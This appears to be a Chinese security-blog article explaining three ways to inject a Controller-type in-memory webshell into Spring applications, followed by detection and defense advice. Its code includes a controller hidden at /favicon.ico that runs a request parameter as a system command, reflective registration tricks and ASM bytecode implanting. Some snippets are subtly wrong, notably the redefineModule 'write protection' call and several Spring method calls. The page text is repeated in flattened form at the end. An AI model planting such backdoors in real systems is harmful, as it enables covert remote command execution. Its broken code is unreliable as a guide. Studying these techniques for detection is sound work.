Java内存马——Controller型的三种注入
字数 2305 2025-08-30 06:50:12

Java内存马——Controller型注入技术深度解析

一、核心前提:获取Spring上下文

无论采用哪种注入方式,攻击者必须先获取到当前的Spring ApplicationContext对象,这是操作IoC容器的入口。

常见获取方式

  1. WebApplicationContextUtils工具类

    WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(servletContext);
    

    (需先通过Request/Session/Filter等获取ServletContext)

  2. 从已知Bean中获取

    • 若已有执行点(如已有WebShell),可通过context.getBean()获取关键Bean(如dispatcherServlet),再反射获取其持有的WebApplicationContext
  3. 从当前线程的ContextClassLoader加载

    • 适用于某些特定环境

二、直接动态注册Bean(推荐方式)

原理

直接向Spring容器的BeanFactory注册一个恶意Controller的BeanDefinition,使其成为受管理的Bean,并被RequestMappingHandlerMapping扫描。

实现步骤

  1. 创建恶意Controller类字节码

    public class EvilController {
        @RequestMapping("/favicon.ico")
        public void execute(HttpServletRequest request, HttpServletResponse response) throws Exception {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                // 读取process输出并写入response
            }
        }
    }
    
  2. 动态生成BeanDefinition

    // 1. 创建GenericBeanDefinition
    GenericBeanDefinition beanDefinition = new GenericBeanDefinition();
    beanDefinition.setBeanClassName("com.evil.EvilController");
    beanDefinition.setScope(BeanDefinition.SCOPE_SINGLETON);
    
    // 2. 获取BeanFactory
    DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) context.getAutowireCapableBeanFactory();
    
    // 3. 注册BeanDefinition
    beanFactory.registerBeanDefinition("evilController", beanDefinition);
    
  3. 触发RequestMapping注册

    // 获取RequestMappingHandlerMapping
    RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
    
    // 获取恶意Controller实例
    Object controller = context.getBean("evilController");
    
    // 注册HandlerMethod
    mapping.registerHandler(controller);
    

优缺点分析

  • 优点:符合Spring标准流程,稳定可靠
  • 缺点:需要手动触发HandlerMapping注册,可能引起短暂请求阻塞

三、修改RequestMappingHandlerMapping的MappingRegistry

原理

Spring MVC最终将URL映射关系存储在MappingRegistry中。攻击者直接操作该内部结构,添加恶意映射。

实现步骤

  1. 获取关键对象

    RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
    
    // 反射获取私有字段mappingRegistry
    Field registryField = mapping.getClass().getSuperclass().getDeclaredField("mappingRegistry");
    registryField.setAccessible(true);
    MappingRegistry mappingRegistry = (MappingRegistry) registryField.get(mapping);
    
  2. 创建恶意HandlerMethod

    // 创建恶意Controller实例
    Object evilController = new EvilController();
    
    // 获取目标方法
    Method executeMethod = evilController.getClass().getMethod("execute", HttpServletRequest.class, HttpServletResponse.class);
    
    // 创建HandlerMethod
    HandlerMethod handlerMethod = new HandlerMethod(evilController, executeMethod);
    
  3. 构造RequestMappingInfo

    RequestMappingInfo requestMappingInfo = RequestMappingInfo
        .paths("/favicon.ico")
        .methods(RequestMethod.GET)
        .build();
    
  4. 注入MappingRegistry

    // 反射调用register方法
    Method registerMethod = MappingRegistry.class.getDeclaredMethod("register", Mapping.class, Object.class, Method.class);
    registerMethod.setAccessible(true);
    registerMethod.invoke(mappingRegistry, requestMappingInfo, evilController, executeMethod);
    

优缺点分析

  • 优点:完全内存化,不创建新Bean,极度隐蔽
  • 缺点
    • 严重依赖Spring内部实现,版本兼容性差
    • Controller实例非Spring管理,需自行维护生命周期
    • 绕过Bean初始化流程,可能导致意外错误

四、利用父子容器机制注入

适用场景

当应用存在父子容器结构时(如Spring + Spring MVC),可将恶意Controller注册到子容器中,避开父容器管理。

原理

  • 父容器(Root WebApplicationContext):管理Service、DAO等
  • 子容器(Servlet WebApplicationContext):管理Controller、Interceptor等Web组件

实现步骤

  1. 获取子容器

    ServletContext servletContext = request.getServletContext();
    String servletName = "dispatcher"; // DispatcherServlet名称
    WebApplicationContext childContext = WebApplicationContextUtils.getWebApplicationContext(
        servletContext, 
        "org.springframework.web.servlet.FrameworkServlet.CONTEXT." + servletName
    );
    
  2. 在子容器中注册恶意Controller Bean

    • 方式同"直接动态注册Bean",使用子容器的BeanFactory注册BeanDefinition并触发HandlerMapping更新

优缺点分析

  • 优势:隐蔽性强,尤其当安全扫描只检查父容器时
  • 注意:依赖应用存在父子容器结构(典型Spring MVC项目都有)

五、内存马存活的关键技术

1. 防止GC回收

  • 方式一中Controller作为Spring单例Bean,由容器持有,不会被回收
  • 方式二需自行创建强引用(如将其存入静态Map或ThreadLocal)

2. URL路径伪装

使用/favicon.ico/common.css/images/logo.png等看似正常的路径降低怀疑

六、检测与防御方案

1. 监控Bean动态注册

  • RASP Hook BeanDefinitionRegistry.registerBeanDefinition()方法
  • 监控DefaultListableBeanFactorybeanDefinitionMap变化

2. 扫描MappingRegistry

  • 定期dump RequestMappingHandlerMapping中的URL映射表
  • 对比基线:记录系统启动时的合法Mapping,检测新增项

3. 运行时流量分析

  • 监控访问"伪装路径"但返回非预期内容(如命令回显)的请求

4. 强化容器安全

  • 禁止非信任来源的JSP/Controller执行动态类加载
  • 使用SecurityManager限制反射操作敏感类

5. 代码审计

检查是否存在可被利用的漏洞点(如反序列化、表达式注入),阻断注入入口

七、技术对比总结

注入方式 关键技术点 隐蔽性 稳定性 适用场景
动态注册Bean BeanFactory + HandlerMapping刷新 通用
修改MappingRegistry 反射操作内部MappingRegistry 极高 中(依赖版本) 追求极致隐蔽
父子容器注入 定位子容器 + 注册Bean 存在父子容器的Spring MVC应用

八、高级技术演进

  1. 跨控制器注入

    public void existingControllerMethod(/*原始参数*/) {
        // 原始逻辑
    
        // 寄生逻辑
        if (request.getParameter("debug") != null) {
            executeMaliciousCode(request, response);
            return;
        }
    }
    
  2. 基于ASM的字节码植入

    ClassReader cr = new ClassReader(TargetController.class);
    ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
    ClassVisitor cv = new GhostInjectionAdapter(cw);
    cr.accept(cv, ClassReader.EXPAND_FRAMES);
    byte[] modifiedBytes = cw.toByteArray();
    redefineClass(TargetController.class, modifiedBytes);
    
  3. 结合响应式编程模型

    @Bean
    public RouterFunction<ServerResponse> ghostRoute() {
        return route()
            .GET("/hidden/path", request -> {
                // 恶意处理逻辑
                return ServerResponse.ok().body(...);
            })
            .build();
    }
    

九、防御体系构建

  1. 运行时映射监控

    • 建立请求映射基线
    • 实时检测异常注册
  2. 类加载器白名单

    • 限制非信任类加载器
    • 验证类来源证书
  3. 内存写保护

    instrumentation.redefineModule(module, 
        Set.of(MappingRegistry.class), 
        Map.of(), Map.of(), Set.of(), Map.of());
    
  4. 深度行为分析

    • 监控反射调用模式
    • 检测非常规路径请求

通过全面了解这些技术原理和防御措施,可以有效提升对Controller型内存马的检测和防御能力。

Java内存马——Controller型注入技术深度解析 一、核心前提:获取Spring上下文 无论采用哪种注入方式,攻击者必须先获取到当前的Spring ApplicationContext对象,这是操作IoC容器的入口。 常见获取方式 WebApplicationContextUtils工具类 (需先通过Request/Session/Filter等获取ServletContext) 从已知Bean中获取 若已有执行点(如已有WebShell),可通过 context.getBean() 获取关键Bean(如dispatcherServlet),再反射获取其持有的WebApplicationContext 从当前线程的ContextClassLoader加载 适用于某些特定环境 二、直接动态注册Bean(推荐方式) 原理 直接向Spring容器的BeanFactory注册一个恶意Controller的BeanDefinition,使其成为受管理的Bean,并被RequestMappingHandlerMapping扫描。 实现步骤 创建恶意Controller类字节码 动态生成BeanDefinition 触发RequestMapping注册 优缺点分析 ✅ 优点 :符合Spring标准流程,稳定可靠 ❌ 缺点 :需要手动触发HandlerMapping注册,可能引起短暂请求阻塞 三、修改RequestMappingHandlerMapping的MappingRegistry 原理 Spring MVC最终将URL映射关系存储在MappingRegistry中。攻击者直接操作该内部结构,添加恶意映射。 实现步骤 获取关键对象 创建恶意HandlerMethod 构造RequestMappingInfo 注入MappingRegistry 优缺点分析 ✅ 优点 :完全内存化,不创建新Bean,极度隐蔽 ❌ 缺点 : 严重依赖Spring内部实现,版本兼容性差 Controller实例非Spring管理,需自行维护生命周期 绕过Bean初始化流程,可能导致意外错误 四、利用父子容器机制注入 适用场景 当应用存在父子容器结构时(如Spring + Spring MVC),可将恶意Controller注册到子容器中,避开父容器管理。 原理 父容器(Root WebApplicationContext) :管理Service、DAO等 子容器(Servlet WebApplicationContext) :管理Controller、Interceptor等Web组件 实现步骤 获取子容器 在子容器中注册恶意Controller Bean 方式同"直接动态注册Bean",使用子容器的BeanFactory注册BeanDefinition并触发HandlerMapping更新 优缺点分析 ✅ 优势 :隐蔽性强,尤其当安全扫描只检查父容器时 ❌ 注意 :依赖应用存在父子容器结构(典型Spring MVC项目都有) 五、内存马存活的关键技术 1. 防止GC回收 方式一 中Controller作为Spring单例Bean,由容器持有,不会被回收 方式二 需自行创建强引用(如将其存入静态Map或ThreadLocal) 2. URL路径伪装 使用 /favicon.ico 、 /common.css 、 /images/logo.png 等看似正常的路径降低怀疑 六、检测与防御方案 1. 监控Bean动态注册 RASP Hook BeanDefinitionRegistry.registerBeanDefinition() 方法 监控 DefaultListableBeanFactory 的 beanDefinitionMap 变化 2. 扫描MappingRegistry 定期dump RequestMappingHandlerMapping 中的URL映射表 对比基线:记录系统启动时的合法Mapping,检测新增项 3. 运行时流量分析 监控访问"伪装路径"但返回非预期内容(如命令回显)的请求 4. 强化容器安全 禁止非信任来源的JSP/Controller执行动态类加载 使用SecurityManager限制反射操作敏感类 5. 代码审计 检查是否存在可被利用的漏洞点(如反序列化、表达式注入),阻断注入入口 七、技术对比总结 | 注入方式 | 关键技术点 | 隐蔽性 | 稳定性 | 适用场景 | |---------|-----------|--------|--------|----------| | 动态注册Bean | BeanFactory + HandlerMapping刷新 | 高 | 高 | 通用 | | 修改MappingRegistry | 反射操作内部MappingRegistry | 极高 | 中(依赖版本) | 追求极致隐蔽 | | 父子容器注入 | 定位子容器 + 注册Bean | 高 | 高 | 存在父子容器的Spring MVC应用 | 八、高级技术演进 跨控制器注入 基于ASM的字节码植入 结合响应式编程模型 九、防御体系构建 运行时映射监控 建立请求映射基线 实时检测异常注册 类加载器白名单 限制非信任类加载器 验证类来源证书 内存写保护 深度行为分析 监控反射调用模式 检测非常规路径请求 通过全面了解这些技术原理和防御措施,可以有效提升对Controller型内存马的检测和防御能力。